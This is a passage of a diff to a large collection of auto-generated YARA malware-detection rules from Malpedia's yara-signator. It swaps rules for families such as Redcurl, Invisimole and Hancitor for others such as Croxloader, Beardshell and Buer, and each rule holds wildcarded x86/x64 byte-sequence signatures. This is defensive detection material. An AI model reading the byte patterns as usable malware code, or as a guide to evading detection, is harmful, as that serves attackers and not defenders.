= { 8bd8 3bc7 7e63 8d642400 6a02 } + $sequence_8 = { 397de0 7f57 8b03 85c0 } + $sequence_9 = { 8d45f4 64a300000000 33db 897d90 895d94 6aff c745fc01000000 } + $sequence_10 = { 89d8 e8???????? 8d9510fcffff 89c6 8d8500fcffff 89d7 } + $sequence_11 = { 89c7 eb2f 89f2 89d9 e8???????? } + $sequence_12 = { 325032 7032 7c32 9c 32a432ac32c432 d432 e8???????? } + $sequence_13 = { 33c0 894e14 894710 894714 c645fc00 837de810 720c } + $sequence_14 = { 66c705????????6046 8915???????? ba???????? a3???????? e8???????? } + $sequence_15 = { 89b5c4f7ffff 899dc0f7ffff 889db0f7ffff 39bd38f7ffff } condition: - 7 of them and filesize < 49152 + 7 of them and filesize < 393216 } -rule MALPEDIA_Win_Syscon_Auto : FILE +rule MALPEDIA_Win_Dexbia_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "5a8ce706-db42-58e3-9d51-88fe0c5beb4f" + id = "10b4a5d0-b360-57a4-9e4b-c6a9cc13bd8b" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.syscon" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.syscon_auto.yar#L1-L167" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.dexbia" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.dexbia_auto.yar#L1-L122" license_url = "N/A" - logic_hash = "e30c1d08a4b5a8899edc4bd6891355bf1333e55e03f2135a162795fd594797ac" + logic_hash = "a367731eb970680df53cbd5e2b030972026c39b111bddedbf1b2202ab2b56805" score = 75 quality = 75 tags = "FILE" @@ -134223,40 +133999,34 @@ rule MALPEDIA_Win_Syscon_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 33c4 898424d80b0000 53 56 } - $sequence_1 = { 47 83c604 897df8 80fb40 7412 8a55ff } - $sequence_2 = { 8d942414040000 68???????? 52 ff15???????? 83c40c 6a00 } - $sequence_3 = { 57 8bc6 e8???????? 83c408 56 } - $sequence_4 = { 68e8030000 ffd6 6a00 6a20 6a03 } - $sequence_5 = { a1???????? 68???????? 50 ff15???????? 85c0 0f846affffff } - $sequence_6 = { ff15???????? e9???????? 8b8c24e40b0000 5f } - $sequence_7 = { eb0c 53 68???????? ff15???????? 57 } - $sequence_8 = { 488d5590 488d0daa300000 448bc0 e8???????? 488d8d20040000 } - $sequence_9 = { e8???????? 488d0dab460000 ff15???????? 488d542420 488d0d99460000 } - $sequence_10 = { 498bcc ff15???????? 488bcf ff15???????? bf04010000 } - $sequence_11 = { 488d4c2440 448bc3 33d2 e8???????? 488d542440 b904010000 ff15???????? } - $sequence_12 = { 488d8d90050000 488d159e2f0000 ff15???????? 488d9590050000 488d8d60010000 e8???????? 488d8d60010000 } - $sequence_13 = { c705????????02000000 83f901 750a c705????????01000000 890d???????? 488b0d???????? 8915???????? } - $sequence_14 = { 488d0d07460000 448bc0 e8???????? 488d542420 } - $sequence_15 = { 89542420 4c8d442450 488d8d90050000 488d1514310000 } + $sequence_0 = { 66ab aa b9ff040000 33c0 8dbc249d260000 be???????? f3ab } + $sequence_1 = { 8d8ef8000000 8d9638010000 51 52 e8???????? 83c408 } + $sequence_2 = { 8bca 83c020 83e103 8d9424a0120000 f3a4 8d8c24a0260000 } + $sequence_3 = { 72c1 8b4508 c705????????01000000 50 a3???????? e8???????? 8db6ec894000 } + $sequence_4 = { 60 55 40 008c554000b055 } + $sequence_5 = { 81c444040000 68a00f0000 ffd5 e9???????? 53 8d8c2418100000 53 } + $sequence_6 = { e8???????? 8d942468040000 50 52 68???????? } + $sequence_7 = { 8bb42480010000 8bbc2484010000 c744241400000000 6a64 } + $sequence_8 = { 85c0 0f85e5feffff 8bd7 b9ff090000 8dbc2455040000 88842454040000 } + $sequence_9 = { 33c0 8d7c247d c644247c00 f3ab 66ab aa } condition: - 7 of them and filesize < 120832 + 7 of them and filesize < 106496 } -rule MALPEDIA_Win_Redcurl_Auto : FILE +rule MALPEDIA_Win_Croxloader_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "d681119a-f653-5bed-a537-3617b5c42d11" + id = "74969832-3646-5c22-9967-7e8cb3d178d9" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.redcurl" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.redcurl_auto.yar#L1-L199" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.croxloader" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.croxloader_auto.yar#L1-L124" license_url = "N/A" - logic_hash = "e9dbdef2d970be2c43c2c35ff66ca296c8c7b5f23d7ab81a2c0ef377599edc93" + logic_hash = "5587745f089fbff18eabf5b798d40f2503c06a9701158cb607e6e154e3ca0b65" score = 75 - quality = 73 + quality = 75 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" @@ -134268,45 +134038,34 @@ rule MALPEDIA_Win_Redcurl_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 2bc6 48 50 56 } - $sequence_1 = { f7f9 80c261 88143e 47 } - $sequence_2 = { ff15???????? 8bd0 c7461000000000 8bca } - $sequence_3 = { 6a00 6a00 6aff 8bf8 6a00 57 } - $sequence_4 = { 6a00 6a00 50 53 ff15???????? 6a00 6a00 } - $sequence_5 = { 85ff 747a 85c0 7476 6800010000 } - $sequence_6 = { 8bf0 6a00 6a03 6a00 } - $sequence_7 = { 0f85e90b0000 eb00 f30f7e442404 660f2815???????? 660f28c8 } - $sequence_8 = { 8b4610 3bc2 726f 2bc2 } - $sequence_9 = { 3bc2 0f42d0 0fb6041a 03d3 } - $sequence_10 = { e8???????? c745e800000000 c745ec0f000000 c645d800 8d5001 8b4610 } - $sequence_11 = { 6a00 6a50 51 56 ff15???????? 8bd8 } - $sequence_12 = { 726f 2bc2 83c9ff 83f8ff 0f42c8 } - $sequence_13 = { 8d4590 c7458c00000000 894588 c6459000 e8???????? } - $sequence_14 = { c70424???????? e8???????? 8b5304 83c001 83ec0c 39d0 } - $sequence_15 = { c785acfcffff00000000 8985a8fcffff 8d8580fdffff c7442408???????? } - $sequence_16 = { 0f84f31d0000 0fb60e 83c601 3dff000000 } - $sequence_17 = { 0fb607 888598feffff 8b852cfdffff 89b594feffff } - $sequence_18 = { 0f84b70c0000 8bb538feffff 39f2 0f86c50a0000 } - $sequence_19 = { 890424 e8???????? 8b85c4fbffff 83ec08 8d9510feffff } - $sequence_20 = { 8944240c 8b856cfdffff 89442404 e8???????? 83ec10 8d8500fcffff } + $sequence_0 = { 488d4e18 41b801010000 e8???????? 418bc6 4d8d4d10 4c8d3d901d0100 } + $sequence_1 = { 4156 4157 488b05???????? 4d8bf8 448bf2 8bf1 4885c0 } + $sequence_2 = { 498bce ff15???????? 488bd8 eb02 33db 4c8d358d93ffff 4885db } + $sequence_3 = { 48c7c1ffffffff ff15???????? 488bbc2480030000 488b8c2460030000 } + $sequence_4 = { 4c8d052aad0000 488bf9 488d1528ad0000 b904000000 e8???????? 8bd3 488bcf } + $sequence_5 = { 4883ec20 448bf9 4c8d356e94ffff 4d8be1 } + $sequence_6 = { 48895c2408 57 4883ec20 488d1d5f290100 488d3d58290100 eb12 488b03 } + $sequence_7 = { 33db 4c8d358d93ffff 4885db 750d } + $sequence_8 = { 410f42d0 6bdb21 0fb6d2 03da 48ffc0 ebd6 8bc8 } + $sequence_9 = { 803d????????00 754c 488d0db41e0100 48890d???????? 488d05661b0100 488d0d8f1d0100 488905???????? } condition: - 7 of them and filesize < 487424 + 7 of them and filesize < 241664 } -rule MALPEDIA_Win_Karius_Auto : FILE +rule MALPEDIA_Win_Beardshell_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "f864f52d-97b4-52e1-be47-a43becf89939" + id = "0fef5153-0695-5651-88d6-fa2574fcc87d" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.karius" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.karius_auto.yar#L1-L233" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.beardshell" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.beardshell_auto.yar#L1-L133" license_url = "N/A" - logic_hash = "65d32f5659cb602716004ef37e85991451736e33f4d393130adf2e3c033195f4" + logic_hash = "104b3d19aef271122113e5b1a20be0ecaabcd5f4198f381800365cc8cf878c7b" score = 75 - quality = 73 + quality = 75 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" @@ -134318,48 +134077,32 @@ rule MALPEDIA_Win_Karius_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 41b830000000 488bcf ff15???????? 4885c0 } - $sequence_1 = { 85db 0f8477000000 8bb424b0000000 418b10 } - $sequence_2 = { 8bb424b0000000 418b10 8bcd 4903d6 0fb602 } - $sequence_3 = { 4d03d6 448bcd 85db 0f8477000000 } - $sequence_4 = { 488b05???????? 4885c0 7512 ff15???????? 488905???????? 4885c0 } - $sequence_5 = { 0f849d000000 41837b1400 0f8492000000 458b4320 458b5324 33ed } - $sequence_6 = { bf01000000 8bd7 498bce ffd3 4183bf8c00000000 } - $sequence_7 = { c3 85c0 7505 e8???????? b801000000 } - $sequence_8 = { 0f84b3000000 458b9f88000000 4d03de 418b5b18 85db 0f849d000000 } - $sequence_9 = { 41 ff45fc 42 ff45f8 } - $sequence_10 = { 8bc7 ffc8 7416 ffc8 } - $sequence_11 = { 81c200000100 8955f8 b804000000 8945fc 81fa80000000 7307 } - $sequence_12 = { 4d8bc7 488bd0 488bce ff15???????? } - $sequence_13 = { 7405 f60001 7502 33c0 } - $sequence_14 = { 48895c2420 4d8bcc 4d8bc7 488bd0 } - $sequence_15 = { 33d2 488bce ff15???????? 4c8bf0 4885c0 } - $sequence_16 = { 47 41 3bfb 0f825ffeffff } - $sequence_17 = { 7505 8d7b02 eb09 6685c0 } - $sequence_18 = { 8a17 80fa41 7c0d 80fa5a } - $sequence_19 = { ff15???????? 4c8be8 498bce ff15???????? 4d85ed } - $sequence_20 = { ebb0 8b5d10 8b750c 8b4d08 47 8b55f4 41 } - $sequence_21 = { 7e26 3c5b 750a 5e 894d0c } - $sequence_22 = { 488d4b10 488d542450 41b804000000 c6430f68 } - $sequence_23 = { 41 7411 43 3c5c } - $sequence_24 = { 4d8bcf 33d2 41b800001000 488bce } - $sequence_25 = { 7c04 3c39 7ee3 803f2e } + $sequence_0 = { 488d55c0 498bcc 488b4038 ff15???????? 410fbaed0e 4183cd20 44896c243c } + $sequence_1 = { 8a44246f 4c8b4c2460 488b542460 448a442440 88442420 e8???????? 4889442470 } + $sequence_2 = { e8???????? 488b4c2430 4c8d442460 4983c008 488d542458 e8???????? 488b4c2470 } + $sequence_3 = { e9???????? 488b8424b8000000 4889842488000000 4c8b442458 48634c2448 31c0 4829c8 } + $sequence_4 = { 488b4010 4883e00f 4889442448 48837c244800 0f84ce000000 488b442450 } + $sequence_5 = { 0fbf1448 c1ea02 b901000000 84d1 7510 837d4004 7594 } + $sequence_6 = { 410f104500 f30f7f4587 48897c2420 440fb74c2440 4c8d4587 488d55b7 488bce } + $sequence_7 = { e9???????? c644245f31 8b442460 83e87f 89442458 488b842480000000 483b842488000000 } + $sequence_8 = { 4889c1 488b442430 48894c2440 488b4c2450 48894810 66448b44245e 488b542450 } + $sequence_9 = { e8???????? e9???????? 488b4c2448 e8???????? 488b4c2430 6689c2 e8???????? } condition: - 7 of them and filesize < 434176 + 7 of them and filesize < 2416640 } -rule MALPEDIA_Win_Invisimole_Auto : FILE +rule MALPEDIA_Win_Buer_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "ff26101a-652d-5609-8231-3c338869a11e" + id = "89828c66-91da-5c73-b764-daf37491e283" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.invisimole" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.invisimole_auto.yar#L1-L131" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.buer" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.buer_auto.yar#L1-L161" license_url = "N/A" - logic_hash = "8969781531efc17812b2df34968a188468c9267be73167ccabb12759d11db9c9" + logic_hash = "841b3dfa43e2148141873077b2e81e7484da2dab92e27c89fccfead95f717524" score = 75 quality = 75 tags = "FILE" @@ -134373,34 +134116,40 @@ rule MALPEDIA_Win_Invisimole_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { c745f4ffffffff e8???????? 83c414 e9???????? 6a00 6800000008 6a03 } - $sequence_1 = { 8b0d???????? 6a04 6a08 51 ffd6 85c0 7491 } - $sequence_2 = { 52 56 884d0b e8???????? 8a450c 83c448 6a01 } - $sequence_3 = { 746a 53 ff15???????? 8b4df4 51 c645ff01 ffd7 } - $sequence_4 = { 8d4da0 51 52 50 ff55c8 85c0 } - $sequence_5 = { c645bc0d 668955bd 894dbf 8bde 7409 83c302 66833b2a } - $sequence_6 = { 7449 899e8caf0600 3d06010000 7305 e8???????? 899e7caf0600 0fb60f } - $sequence_7 = { 52 ffd7 8bd8 895c2414 85db } - $sequence_8 = { 895de8 3bde 0f8418010000 8b55ec 8b45f8 53 52 } - $sequence_9 = { 8d4602 50 8d8f22020000 51 ff15???????? 33d2 668916 } + $sequence_0 = { 8b45dc 03c6 89414c 8b45fc 03c7 894150 8b45ec } + $sequence_1 = { 8b55e8 015158 8b55d8 894148 } + $sequence_2 = { 8b00 8b4010 8945fc 61 8b45fc } + $sequence_3 = { 3bc7 7d0f 8a0c46 880c18 40 } + $sequence_4 = { 8b7b50 8b4340 0345f8 8b5b54 } + $sequence_5 = { 8b45f4 03c1 8bcb 894144 8b45f0 } + $sequence_6 = { 64a130000000 8b400c 8b4014 8b00 8b4010 } + $sequence_7 = { 8bc2 eb19 33c0 85d2 7e13 3bc7 7d0f } + $sequence_8 = { 01cf 29ce 75a7 e9???????? } + $sequence_9 = { 01de 39d6 0f8384000000 8b742414 } + $sequence_10 = { 01c7 0fa5da d3e3 8b4c2444 } + $sequence_11 = { 0facd313 884e04 8b74247c 8bc6 8b4c2440 } + $sequence_12 = { 0fb617 47 89f9 83e23f eb11 } + $sequence_13 = { 01fe 68???????? e8???????? a1???????? } + $sequence_14 = { 0f82d1000000 83f8fe 0f83d1000000 89d6 } + $sequence_15 = { 01de 39c1 0f47c1 89c1 89442420 662e0f1f840000000000 39f9 } condition: - 7 of them and filesize < 139264 + 7 of them and filesize < 3031040 } -rule MALPEDIA_Win_Redalpha_Auto : FILE +rule MALPEDIA_Win_Teleport_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "882ba549-5d0f-5044-9824-7266c16fd3e3" + id = "8775bf50-843a-53a5-99d2-7f1e8df96bef" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.redalpha" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.redalpha_auto.yar#L1-L286" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.teleport" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.teleport_auto.yar#L1-L129" license_url = "N/A" - logic_hash = "6d0bc4e07b8bfd5d42ec13b7e486282bb3ab0b08b56807472d5876342a41efce" + logic_hash = "faedc771daee9d9167e2f4449bf3e87076b81c367250e9b9589a86138f934d43" score = 75 - quality = 73 + quality = 75 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" @@ -134412,52 +134161,32 @@ rule MALPEDIA_Win_Redalpha_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 83c40c c0e304 0fb6c3 50 68???????? } - $sequence_1 = { 68???????? 50 e8???????? 83c40c c0e304 } - $sequence_2 = { 8b4314 015330 ffd0 5f } - $sequence_3 = { 8b4310 ffd0 8945fc 85c0 } - $sequence_4 = { 488da998000000 458be0 4c8be9 488bfa 488d4d20 ff15???????? 488b4508 } - $sequence_5 = { 8785c8000000 488b8dd8000000 ff15???????? 488b8de0000000 ff15???????? 48c785d8000000ffffffff } - $sequence_6 = { 8b4328 8bcb 52 8b5310 } - $sequence_7 = { 89048b 488b4d58 418bc5 48c1e002 480101 } - $sequence_8 = { eb0e 48897da0 41bc13000000 48897da8 498b1e } - $sequence_9 = { d3eb 442bd9 400fb6d7 f6c210 753d 0f1f840000000000 } - $sequence_10 = { 8b430c ffd0 8d50ff 8b45fc 03f2 } - $sequence_11 = { e9???????? 488d5908 488d4b20 ff15???????? 488b4308 48894310 ba00040000 } - $sequence_12 = { 8b4328 52 8b5310 2b5604 } - $sequence_13 = { 8b4324 8975f8 8945dc 8b4328 } - $sequence_14 = { 48897db8 448865c0 4533c9 4533c0 33d2 33c9 } - $sequence_15 = { e8???????? 48c744243000000000 c744242880000000 c744242002000000 4533c9 4533c0 } - $sequence_16 = { 89441f05 8b85c0feffff 89441f09 8b85c4feffff } - $sequence_17 = { 6a00 6a00 8d8534ffffff c78514feffff08b94000 898518feffff 8d8514feffff } - $sequence_18 = { e8???????? 8b404c 83b8a800000000 7512 8b04bd30744100 807c302900 } - $sequence_19 = { 660fd60f 8d7f08 8b048d343b4000 ffe0 } - $sequence_20 = { 8bec 81ec1c010000 56 6880000000 8bf1 c745f8ff000000 6a00 } - $sequence_21 = { 8d44241c 50 8d442424 50 8d442418 } - $sequence_22 = { 8d45f4 8bcf 50 e8???????? 5f 5e 5b } - $sequence_23 = { 6a34 68???????? 57 ff15???????? 8bf0 85f6 7517 } - $sequence_24 = { ff15???????? 8bf8 85ff 7459 6a00 } - $sequence_25 = { c745dc03000000 eb7c c745e040314100 ebbb d9e8 8b4510 dd18 } - $sequence_26 = { 8b4710 8d044502000000 50 7219 } - $sequence_27 = { 50 f3a5 8d8574ffffff 8bca } - $sequence_28 = { c1fa06 8934b8 8bc7 83e03f 6bc830 8b0495581f4000 8b440818 } - $sequence_29 = { 7517 57 ff15???????? 5e 5f 8b4dfc } + $sequence_0 = { 68???????? 894768 893d???????? ff15???????? } + $sequence_1 = { 894824 c6401c01 894dfc 8d85d0feffff b912000000 eb50 } + $sequence_2 = { 8b04bde83e4300 ff743018 ff15???????? 85c0 0f95c0 5f 5e } + $sequence_3 = { 8b01 6a01 ff10 8b4608 8d7e08 8b08 8900 } + $sequence_4 = { 83c404 8b4dc0 0f1003 0f110401 83c010 8945c8 eb06 } + $sequence_5 = { 8b45ec c1e810 0fb6c0 330c85a0fe4200 0fb6c2 330c85a0f64200 334fe8 } + $sequence_6 = { 3bf0 745a 0f1f440000 68???????? 8bcf e8???????? 837e1c08 } + $sequence_7 = { 8b4104 8987a4000000 8b5108 8945f8 8bc2 8997a8000000 8b590c } + $sequence_8 = { 894820 894824 c6401c01 8d45c0 c745fc08000000 be00100000 } + $sequence_9 = { 0fb6c3 8b5de8 331485a0f64200 3357ac 8bc2 c1e808 0fb6c8 } condition: - 7 of them and filesize < 606208 + 7 of them and filesize < 458752 } -rule MALPEDIA_Win_Rusty_Claw_Auto : FILE +rule MALPEDIA_Win_Lookback_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "8fc75c4e-ba70-59d2-9f38-a3aed8cf6b13" + id = "85752543-778d-502f-a58c-a2ac64bb54fd" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.rusty_claw" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.rusty_claw_auto.yar#L1-L134" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.lookback" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.lookback_auto.yar#L1-L116" license_url = "N/A" - logic_hash = "75f315fae698621629456c9a1f27e13b2e79a7325d19df3b6033848f0862def4" + logic_hash = "d58209e22f4f6576558a613c24f624b5020028fc2870f726763fd240be9135bc" score = 75 quality = 75 tags = "FILE" @@ -134471,32 +134200,32 @@ rule MALPEDIA_Win_Rusty_Claw_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 57 56 83ec08 8b5c241c 8b7c2418 89e0 8d742404 } - $sequence_1 = { 5b 5d c3 8b4e10 ba???????? 6a04 e8???????? } - $sequence_2 = { 037904 034108 89d1 c1c60d c1ea0a c1c10f 31ce } - $sequence_3 = { 8b5664 e8???????? b001 8b8eb0050000 64890d00000000 8d65f4 5e } - $sequence_4 = { 29c2 29ca 85d2 7409 4a 803ec0 8d76ff } - $sequence_5 = { 0fb7c2 01c8 c3 89d0 354718c32c c1c002 31d0 } - $sequence_6 = { 8dbe850ab727 8974245c 89442408 8d81fc6d2c4d 8b4c2458 89442450 8b442430 } - $sequence_7 = { 6a0a 5a f7e2 89c3 0f90c2 01cb 0f92c0 } - $sequence_8 = { 8b6c241c 8974240c 89de 894c2444 89542438 89442420 894c2424 } - $sequence_9 = { 8d043b 99 2bc2 8bf0 d1fe 6a55 ff34f5b8444300 } + $sequence_0 = { 8b7c241c 33ed 8b473c 8b443878 03c7 8b5024 } + $sequence_1 = { 393d???????? 75af eb24 8b0d???????? } + $sequence_2 = { 8b542430 894308 8b442428 83c414 } + $sequence_3 = { 8b31 25ff0f0000 03c6 8bf7 } + $sequence_4 = { 8b7af8 83c228 03f8 8bc1 c1e902 f3a5 } + $sequence_5 = { 668b4b06 3be9 7cd0 5f 5e } + $sequence_6 = { 7422 6a00 8d4c2404 6a20 51 6a03 } + $sequence_7 = { ff15???????? 8d542400 52 e8???????? 33c0 81c408010000 } + $sequence_8 = { 5b 81c410070000 c3 55 8bec 51 53 } + $sequence_9 = { 3bef 741b 6800800000 57 } condition: - 7 of them and filesize < 518144 + 7 of them and filesize < 131072 } -rule MALPEDIA_Win_Crosswalk_Auto : FILE +rule MALPEDIA_Win_Resident_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "1076206e-4e1c-51ff-b49e-1f2c394e3af9" + id = "1b67466a-54db-5e85-b74e-0f6af48d989f" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.crosswalk" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.crosswalk_auto.yar#L1-L165" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.resident" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.resident_auto.yar#L1-L176" license_url = "N/A" - logic_hash = "41379ac5fd7ea514139388720a6ee90edcc7ef23d2f29794443905502b173fda" + logic_hash = "c657f6a8f6e1222a8318e6995666aff3bd59abbbd0dacc976a5ca7724d12794b" score = 75 quality = 75 tags = "FILE" @@ -134510,40 +134239,40 @@ rule MALPEDIA_Win_Crosswalk_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 4883ec28 4885c9 7402 ffd1 } - $sequence_1 = { 8bc2 c1e81f 03d0 69c2890e0000 3bc8 } - $sequence_2 = { d3ca 03d0 4183ef01 75ef } - $sequence_3 = { 33f6 8d6e20 8bcd e8???????? } - $sequence_4 = { 458d7ee0 418bd7 ff15???????? 4821742420 } - $sequence_5 = { 41b88d56e68c 418bc0 f7e9 03d1 } - $sequence_6 = { 458bc6 33d2 488bc8 e8???????? 4533c9 } - $sequence_7 = { 410fbe00 49ffc0 d3ca 03d0 } - $sequence_8 = { c1f906 6bd730 8b0c8d808e4100 c644112800 85f6 740c 56 } - $sequence_9 = { 58 6bc000 c7803c88410002000000 6a04 58 6bc000 8b0d???????? } - $sequence_10 = { 6a00 6a00 57 56 8945f8 ff15???????? } - $sequence_11 = { 41 4a c60100 b8???????? c745dc0c234100 8945bc } - $sequence_12 = { 8945e8 8945f8 8b4508 56 be???????? c745ec24234100 57 } - $sequence_13 = { 7420 6bc618 57 8db880904100 57 ff15???????? } - $sequence_14 = { 83e03f 8bca 6bc030 c1f906 03048d808e4100 eb02 } - $sequence_15 = { 6bf030 03348d808e4100 837e18ff 740c } + $sequence_0 = { 6a00 8d95dcf9ffff 52 6a00 ff15???????? 85c0 } + $sequence_1 = { c1e606 03348500b94000 8b45f8 8b00 8906 8b45fc 8a00 } + $sequence_2 = { 894c243c 8b4c2460 89442404 89542440 8b54245c } + $sequence_3 = { 895c2410 c744240cffffffff 89742408 c744240400000000 } + $sequence_4 = { e8???????? 89c6 85c0 0f8427010000 c70424???????? 8d6c243e e8???????? } + $sequence_5 = { 8d85d8f9ffff e8???????? 8b95d4f9ffff 8bf0 03d2 8d45dc e8???????? } + $sequence_6 = { 750f 33c0 807dfa01 0f94c0 8d740010 eb41 83f803 } + $sequence_7 = { 8d55e4 52 ffd6 85c0 75e3 5b } + $sequence_8 = { 6689442430 668954242c 8b542422 b830000000 6689442428 66894c242e 0fb74c2420 } + $sequence_9 = { c744240800000000 c744240400000000 ff15???????? 83ec20 891c24 e8???????? } + $sequence_10 = { 8d34ad00000000 8b04a8 890424 e8???????? 83f825 76da } + $sequence_11 = { 8b37 89442418 8d460a 890424 e8???????? 89c3 85c0 } + $sequence_12 = { 75e4 b801000000 893c24 8944241c e8???????? } + $sequence_13 = { ff15???????? 6a04 8d55fc 52 6a06 } + $sequence_14 = { ff15???????? 83ec04 0fb7442446 66895c2450 } + $sequence_15 = { eb05 e8???????? 83c404 84c0 0f848e000000 } condition: - 7 of them and filesize < 286720 + 7 of them and filesize < 125952 } -rule MALPEDIA_Win_Cloudeye_Auto : FILE +rule MALPEDIA_Win_Hancitor_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "44608db0-2b3b-55a4-82c4-1c5317afcfea" + id = "816fbcdd-d0a4-5ec6-aee7-dc5bd967236b" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.cloudeye" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.cloudeye_auto.yar#L1-L117" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.hancitor" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.hancitor_auto.yar#L1-L255" license_url = "N/A" - logic_hash = "54d2e3ccac7509c285f63d14127016b59266a9af9b4d7112de2a7058fc6a0ca1" + logic_hash = "92b7f15d306c0b7e353f23f95c271bcb97f7f829d7a8b924160714a7ac9e4284" score = 75 - quality = 75 + quality = 73 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" @@ -134555,32 +134284,49 @@ rule MALPEDIA_Win_Cloudeye_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 64ff35c0000000 8f4548 c3 60 b055 } - $sequence_1 = { c70010000100 80fc8b ffb700500000 39c9 6afe ff5528 } - $sequence_2 = { 85da 8b4d18 bafee5190e e8???????? } - $sequence_3 = { 7570 206b65 7900 e8???????? 53 } - $sequence_4 = { ff50e0 6639d1 61 b8ffffffff } - $sequence_5 = { 83f800 0f8598000000 6685c1 8b4d20 81c100410000 c70107000100 51 } - $sequence_6 = { 81c29c000000 52 6a07 6aff 38ed 50 e8???????? } - $sequence_7 = { 5b 6685da 31c0 83c004 } - $sequence_8 = { 8bb714080000 38ef 8b8700080000 01f0 01c8 } - $sequence_9 = { 85db 837d7401 750a e8???????? 83f801 7405 } + $sequence_0 = { 6a00 6a00 6824040000 6a00 6a00 } + $sequence_1 = { 6800010000 6a40 68???????? e8???????? } + $sequence_2 = { 750d e8???????? 83c010 a3???????? } + $sequence_3 = { 6a20 68???????? 68???????? e8???????? 83c410 } + $sequence_4 = { 55 8bec 81ec58010000 6a44 } + $sequence_5 = { c745f800000000 c745fc00000000 c745e800000000 6a40 6800300000 8b45f0 50 } + $sequence_6 = { 57 8b483c 33f6 03c8 6a40 } + $sequence_7 = { 50 c60600 ff15???????? 8b3d???????? } + $sequence_8 = { 8b01 2b4234 03450c 8b4de0 8901 8b55f8 83c202 } + $sequence_9 = { 8b4dec 8b5150 8955f0 c745f800000000 } + $sequence_10 = { 8bec 8b4d08 6a00 6a01 } + $sequence_11 = { 8b4508 0fbe08 83f97b 750b 8b5508 83c201 895508 } + $sequence_12 = { 8955dc 8b45dc 8b08 894dd8 8b5508 } + $sequence_13 = { 83f941 72ed 881d???????? c705????????01000000 } + $sequence_14 = { 8b4c1010 51 6b55fc28 8b45f4 8b4d08 034c1014 51 } + $sequence_15 = { c745fc00000000 b901000000 85c9 7448 8b5508 } + $sequence_16 = { 41 3bc8 72f7 c6043000 40 } + 